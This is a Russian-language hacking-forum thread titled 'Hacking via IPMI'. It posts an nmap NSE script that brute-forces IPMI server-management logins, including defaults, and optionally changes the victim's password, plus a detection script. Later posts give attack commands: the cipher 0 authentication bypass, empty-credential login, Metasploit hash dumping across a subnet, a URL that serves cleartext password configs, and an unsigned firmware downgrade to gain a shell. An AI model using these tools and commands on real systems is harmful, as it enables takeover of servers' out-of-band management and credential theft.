Статьи [СПУЩЕНО С LVL8] Хекаем через IPMI

Discussion in 'Статьи' started by SooLFaa, 5 Jul 2017.

  1. SooLFaa

    SooLFaa Members of Antichat

    Joined:
    17 Mar 2014
    Messages:
    516
    Likes Received:
    473
    Reputations:
    145
    По долгу службы на работе обнаружили интересную особенность в IPMI (аналог KVM) - штука для удаленного мониторинга и физическим управлением сервера. Штука в том, что DHCP сам назначает и навязывает IPMI у многих ДЦ о чем последние могут тупо просто не знать. Поэтому внутри сетки целесообразно чекать 623UDP.
    А я поделюсь NSE скриптом для nmap'а авторство которого принадлежит не мне, а моему начальнику.

    Скрипт сам подключается к порту IPMI, пытается сменить пароль если это надо, оповещает о всех найденных IPMI и брутит пароль (в том числе дефолтные).


    Code:
    local brute = require "brute"
    local creds = require "creds"
    --local ipmi = require "ipmi"
    local nmap = require "nmap"
    local shortport = require "shortport"
    local stdnse = require "stdnse"
    local string = require "string"
    local tab = require "table"
    
    description = [[
    Performs brute force password auditing against IPMI server with ipmitool util and change default password if 'pwdchange' argument >= 5 symbols.
    ]]
    author = "i.zuev"
    license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
    categories = {"intrusive", "brute"}
    
    
    ---
    -- need utils - ipmutil and ipmitool
    -- @usage
    -- nmap -sU  -p623 -PS80,443 -PA80,443 --max-retries 5 --script ipmi-supermicro-brute --script-args 'userdb=/opt/ipmi-users.txt,passdb=/opt/ipmi-pwd.txt' <host>
    -- nmap -sU  -p623 -PS80,443 -PA80,443 --max-retries 5 --script ipmi-supermicro-brute --script-args 'brute.credfile=/opt/ipmi-creds.txt' <host>
    -- nmap -sU -p 623 -PA80,443 -PS80,443 --reason --open --max-retries 5 --script ipmi-ipmiutil-brute.nse --script-args 'brute.credfile=/opt/ipmi-creds.txt,pwdchange=NEWPWDADMIN' <host>
    -- brute.firstonly = Boolean - Stop attack when the first credentials are found (https://nmap.org/nsedoc/lib/brute.html)
    -- brute.mode = user/creds/pass - Username password iterator (https://nmap.org/nsedoc/lib/brute.html)
    -- passdb = file - Path to password list --- one pass = one string
    -- userdb = file - Path to user list --- one login = one string
    -- brute.credfile = file - Path to credentials file, use '/' as delimeter (ADMIN/ADMIN)
    --
    -- for debug message use -d option
    --
    -- @output
    -- PORT     STATE  SERVICE REASON
    -- 623/udp  open|filtered  unknown
    -- | ipmi-supermicro-brute:
    -- |   Accounts
    -- |_    admin:admin => Valid credentials
    --
    
    
    
    portrule = shortport.port_or_service(623, "asf-rmcp", "udp", {"open", "open|filtered"})
    
    -- if string.find(s1, "welcome home") ~= nil then
    
    Driver = {
        new = function(self, host, port, pwdchange)
            local o = {}
            setmetatable(o, self)
            self.__index = self
            o.host = host
            o.port = port
            o.pwdchange = pwdchange
            return o
        end,
    
        connect = function( self )
            return true
        end,
    
        disconnect = function( self )
            return true
        end,
    
        check = function( self )
            if (self.port.state == "open" or self.port.state == "open|filtered") then
                return true
            else
                return false
            end
        end,
    
        login = function( self, username, password )
        --[[ ---- ipmiutil error codes - http://ipmiutil.sourceforge.net/docs/UserGuide
        Code  Dec  Description
        ----  ---  -----------------------------------------
        +0x00,   0, "Command completed successfully",
        0x80, 128, "Invalid Session Handle or Empty Buffer",
        +0x81, 129, "Lost Arbitration", --- "GetSessChallenge: Invalid user name"
        0x82, 130, "Bus Error",
        0x83, 131, "NAK on Write - busy",
        0x84, 132, "Truncated Read",
        0xC0, 192, "Node Busy",
        0xC1, 193, "Invalid Command",
        0xC2, 194, "Command invalid for given LUN",
        0xC3, 195, "Timeout while processing command",
        0xC4, 196, "Out of space",
        0xC5, 197, "Invalid Reservation ID, or cancelled",
        0xC6, 198, "Request data truncated",
        0xC7, 199, "Request data length invalid",
        0xC8, 200, "Request data field length limit exceeded",
        0xC9, 201, "Parameter out of range",
        0xCA, 202, "Cannot return requested number of data bytes",
        0xCB, 203, "Requested sensor, data, or record not present",
        0xCC, 204, "Invalid data field in request",
        0xCD, 205, "Command illegal for this sensor/record type",
        0xCE, 206, "Command response could not be provided",
        0xCF, 207, "Cannot execute duplicated request",
        0xD0, 208, "SDR Repository in update mode, no response",
        0xD1, 209, "Device in firmware update mode, no response",
        0xD2, 210, "BMC initialization in progress, no response",
        0xD3, 211, "Destination unavailable",
        0xD4, 212, "Cannot execute command. Insufficient privilege level",
        0xD5, 213, "Cannot execute command. Request parameters not supported",
                253, "Cannot connect"
        0xFF, 255, "Unspecified error"
        ]]
            local cmd = "ipmiutil config  -U " .. username .. " -P " .. password .. " -N " .. self.host.ip .. "  2>&1 ; echo RC=$?"
            local handler = assert(io.popen(cmd))
            local output
            local retcod = "9999"
            --local output = assert(handler:read('*a')) -- '*a' означает считывание всех данных
            for line in handler:lines() do
                if string.len(line) >= 1 then
                    if string.match(line, "RC=") then retcod = tonumber(line:match "RC=(%d+)") end
                    if string.match(line, "ipmiutil config, ") then output = line:match "ipmiutil config, (.*)" end
                end
            end
            handler:close()
      
            if retcod == 0 then
                if string.len(self.pwdchange) >= 5 then
                    -- ipmitool -H IP -U ADMIN -P ADMIN user set password 2 NEWPWD ;
                    local pwdoutput = "EMPTY"
                    local pwdretcod = "8888"
                    local pwdtry = 1
                    local pwdcmd = "ipmitool -U " .. username .. " -P " .. password .. " -H " .. self.host.ip .. " user set password 2 " .. self.pwdchange .. "  2>&1 ; echo RC=$?"
                    ::PWDNEWTRY::
                    stdnse.print_debug(1, "IPMI pwdcmd (try %s): %s", pwdtry, pwdcmd)
                    local pwdhandler = assert(io.popen(pwdcmd))
                    for line in pwdhandler:lines() do
                        if string.len(line) >= 1 then
                            if string.match(line, "RC=") then
                                pwdretcod = tonumber(line:match "RC=(%d+)")
                            elseif  string.match(line, "Invalid user name") then
                                pwdoutput = "Invalid user name"
                            else
                                pwdoutput = line
                            end
                        end
                    end
                    pwdhandler:close()
                    if pwdretcod == 0 then
                        stdnse.print_debug(1, "IPMI(%s): %s - password changed to %s (%s:%s)", pwdretcod, pwdoutput, self.pwdchange,username, password)
                        return true, creds.Account:new(username, password,  "new password is " .. self.pwdchange)
                    elseif pwdtry <=2 then
                        pwdtry = pwdtry+1
                        goto PWDNEWTRY
                    else
                        stdnse.print_debug(1, "IPMI(%s): fail to change password with 2 tries (new %s, old %s:%s)", pwdretcod, self.pwdchange,username, password)
                        return false, brute.Error:new( "Failed to change password." )
                    end
                else
                    stdnse.print_debug(1, "IPMI(%s): %s - success (%s:%s)", retcod, output, username, password)
                    return true, creds.Account:new(username, password, creds.State.VALID)
                end
            elseif retcod == 129 then
                stdnse.print_debug(1, "IPMI(%s): %s - wrong username (%s:%s)", retcod, output, username, password)
                return false, brute.Error:new( "Wrong username." )
            elseif retcod == 206 or retcod == 253 then
                stdnse.print_debug(1, "IPMI(%s): %s - wrong password (%s:%s)", retcod, output, username, password)
                return false, brute.Error:new( "Wrong password." )
            else
                stdnse.print_debug(1, "IPMI(%s): %s - unknown error (%s:%s)", retcod, output, username, password)
                return false, brute.Error:new( "Unknown error." )
            end
        end,
    
        disconnect = function( self )
            return true
        end
    }
    
    action = function(host, port)
        local pwdchange = ''          -- нужно ли менять пароль? если переменная не пустая, то будет задан новый пароль, равный значению переменной
        local status, result, engine
        if nmap.registry.args['pwdchange'] then pwdchange = nmap.registry.args.pwdchange end
        engine = brute.Engine:new( Driver, host, port, pwdchange)
    --    engine:setMaxThreads(thread_num)
        engine.options.script_name = SCRIPT_NAME
        status, result = engine:start()
        return result
    end
    
     
    _________________________
    #1 SooLFaa, 5 Jul 2017
    Last edited: 6 Jul 2017
  2. SooLFaa

    SooLFaa Members of Antichat

    Joined:
    17 Mar 2014
    Messages:
    516
    Likes Received:
    473
    Reputations:
    145
    Пару заметок ещё о том как обнаружить ipmi.
    1) Веб морда на 80 порту в header: GoAhead-Webs
    2) Смотрим сертификат на 443 порту: В издателе сертификата есть ключевые слова Supermicro, Ahead, IPMI. Позже NSE скрипт докину.
     
    _________________________
    Gorev and ms13 like this.
  3. SooLFaa

    SooLFaa Members of Antichat

    Joined:
    17 Mar 2014
    Messages:
    516
    Likes Received:
    473
    Reputations:
    145
    Обещал скриптик, который бы чекал IPMI даже если нет его открытых портов.
    Собственно вот
    [​IMG]

    Code:
    local creds = require "creds"
    local nmap = require "nmap"
    local shortport = require "shortport"
    local stdnse = require "stdnse"
    local string = require "string"
    local tab = require "table"
    local sslcert = require "sslcert"
    local tls = require "tls"
    
    description = [[Check ipmi by http headers and ssl certificates.]]
    author = "Morozov Alexey"
    license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
    categories = {"discovery", "same"}
    
    local comm =  require "comm"
    require "shortport"
    
    portrule = function(host, port)
            return ((port.number == 80 or port.number == 443 or port.number == 5901 or port.number == 5900 or port.number == 623)
                   and port.protocol == "tcp" and port.state == "open") or (port.number == 623 and port.protocol == "udp" and port.state == "open")
    end
    
    local NON_VERBOSE_FIELDS = { "commonName", "organizationName",
    "stateOrProvinceName", "countryName" }
    
    
    function table_find(t, value)
      local i, v
      for i, v in ipairs(t) do
        if v == value then
          return i
        end
      end
      return nil
    end
    
    function date_to_string(date)
      if not date then
        return "MISSING"
      end
      if type(date) == "string" then
        return string.format("Can't parse; string is \"%s\"", date)
      else
        return stdnse.format_timestamp(date)
      end
    end
    
    local function maybe_decode(str)
      -- If length is not even, then return as-is
      if #str < 2 or #str % 2 == 1 then
        return str
      end
      if str:byte(1) > 0 and str:byte(2) == 0 then
        -- little-endian UTF-16
        return unicode.transcode(str, unicode.utf16_dec, unicode.utf8_enc, false, nil)
      elseif str:byte(1) == 0 and str:byte(2) > 0 then
        -- big-endian UTF-16
        return unicode.transcode(str, unicode.utf16_dec, unicode.utf8_enc, true, nil)
      else
        return str
      end
    end
    
    function stringify_name(name)
      local fields = {}
      local _, k, v
      if not name then
        return nil
      end
      for _, k in ipairs(NON_VERBOSE_FIELDS) do
        v = name[k]
        if v then
          fields[#fields + 1] = string.format("%s=%s", k, maybe_decode(v) or '')
        end
      end
      if nmap.verbosity() > 1 then
        for k, v in pairs(name) do
          -- Don't include a field twice.
          if not table_find(NON_VERBOSE_FIELDS, k) then
            if type(k) == "table" then
              k = stdnse.strjoin(".", k)
            end
            fields[#fields + 1] = string.format("%s=%s", k, maybe_decode(v) or '')
          end
        end
      end
      return stdnse.strjoin("/", fields)
    end
    
    
    local function output_str(cert)
      local lines = {}
    
      lines[#lines + 1] = "Subject: " .. stringify_name(cert.subject)
      if cert.extensions then
        for _, e in ipairs(cert.extensions) do
          if e.name == "X509v3 Subject Alternative Name" then
            lines[#lines + 1] = "Subject Alternative Name: " .. e.value
            break
          end
        end
      end
    
      if nmap.verbosity() > 0 then
        lines[#lines + 1] = "Issuer: " .. stringify_name(cert.issuer)
      end
    
      if nmap.verbosity() > 0 then
        lines[#lines + 1] = "Public Key type: " .. cert.pubkey.type
        lines[#lines + 1] = "Public Key bits: " .. cert.pubkey.bits
        lines[#lines + 1] = "Signature Algorithm: " .. cert.sig_algorithm
      end
    
      lines[#lines + 1] = "Not valid before: " ..
      date_to_string(cert.validity.notBefore)
      lines[#lines + 1] = "Not valid after:  " ..
      date_to_string(cert.validity.notAfter)
    
      if nmap.verbosity() > 0 then
        lines[#lines + 1] = "MD5:   " .. stdnse.tohex(cert:digest("md5"), { separator = " ", group = 4 })
        lines[#lines + 1] = "SHA-1: " .. stdnse.tohex(cert:digest("sha1"), { separator = " ", group = 4 })
      end
    
      if nmap.verbosity() > 1 then
        lines[#lines + 1] = cert.pem
      end
      return stdnse.strjoin("\n", lines)
    end
    
    
    
    action = function(host, port)
    
            local resports = {}
            if (port.number == 623 or port.number == 5900 or port.number == 5901) or (port.number == 623 and port.protocol == "udp") then
                    port.version.name = "ipmi"
                    nmap.set_port_version(host, port)
                    -- return
            end
    
    
            local domains = {}
            -- domains['name'] = 'IPMI_DETECT_BY_PORT'
    
            if (port.number == 80) then
                    local status, result = comm.exchange(host, port, "GET / HTTP/1.0\r\n\r\n", {bytes=260, proto=port.protocol})
                    if (status) then
                            -- print(result)
                            local goAheads = string.find(result, 'GoAhead-Webs', 1, true)
                            print(goAheads)
    
                            if (goAheads ~= nil) then
                                     table.insert(domains, 'DETECTED IPMI')
                            end
                    end
            end
    
            if (port.number == 443) then
                    -- host.targetname = tls.servername(host)
                    local status, cert = sslcert.getCertificate(host, port)
                    if (status) then
                            local res_cert = output_str(cert)
                            local certIpmi = string.find(res_cert, 'IPMI', 1, true)
                            local certAmi =  string.find(res_cert, 'American Megatrends', 1, true)
    
                            if (certIpmi ~= nil) or (certAmi ~= nil) then
                                    table.insert(domains, 'DETECTED IPMI')
                            end
    
                    end
            end
    
            -- if (result ~= "HTTP/1.0 404 Not Found\r\n\r\n") then
            --        return
            -- end
            -- So far so good, now see if we get random data for another request
            -- status, result = comm.exchange(host, port,
            --        "random data\r\n\r\n", {bytes=15, proto=port.protocol})
    
            -- if (not status) then
            --         return
            -- end
            -- if string.match(result, "[^%s!-~].*[^%s!-~].*[^%s!-~]") then
                    -- Detected
            --        port.version.name = "skype2"
            --
            --        nmap.set_port_version(host, port)
            --        return
            return stdnse.format_output(true, domains)
    end
    
     
    _________________________
    Ereee, Gorev, ms13 and 1 other person like this.
  4. SooLFaa

    SooLFaa Members of Antichat

    Joined:
    17 Mar 2014
    Messages:
    516
    Likes Received:
    473
    Reputations:
    145
    Ещё немного в кассу уязвимости ipmi
    * Cleartext: ipmitool -H <IP/FQDN> -U "" -P "" user list 1 - пустой пароль пустой логин, может дать доступ
    * AUth bypass Cipher 0: выполнить команды без аутентификации
    Code:
    ipmitool -U ADMIN -P "1223" -C 0 -H <IP/FQDN> lan print 1
    или
    Code:
    ipmitool -I lanplus -U ADMIN -P "1223" -C 0 -H <IP/FQDN> lan print 1
    - Пароль любой
    * Обратившись на порт T:49152 на URL "/PSBlock" можно скачать конфигурационный файл 'XXXX_bmc.conf', содержащий пароли в открытом виде. Преимущественно подвержены Supermicro Onboard IPMI контроллеры.
    * в спецификации IPMI 2.0 заложена возможность вытащить и брутить хеши паролей (которые используют уязвимые sha1 и md5) от всех учеток через 623 порт UDP
    Code:
    msfconsole
    use auxiliary/scanner/ipmi/ipmi_dumphashes
    set RHOSTS 10.0.0.0/24
    set THREADS 256
    run
    * Последний скрин можно глянуть без аутентификации по пути
    http://IP-OF-IPMI/images/Snapshot.bmp
     
    _________________________
    crlf likes this.
  5. SooLFaa

    SooLFaa Members of Antichat

    Joined:
    17 Mar 2014
    Messages:
    516
    Likes Received:
    473
    Reputations:
    145
    Bonus, некоторые прошивки апдейтятся методом заливки новой.
    Мы можем залить более старую прошивку без подписи сертификатом и IPMI её без проблем скушает. Тогда у нас уже будет SH вместо SMASH.
    [​IMG]
     
    _________________________
    Smail likes this.
  6. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,787
    Likes Received:
    808
    Reputations:
    856
    Спущено
     
    _________________________
  7. оlbaneс

    оlbaneс Moderator

    Joined:
    5 Nov 2007
    Messages:
    1,501
    Likes Received:
    827
    Reputations:
    355
    я бы заменил слово на другое, а то прочитал и покраснел
     
    _________________________
    winstrool likes this.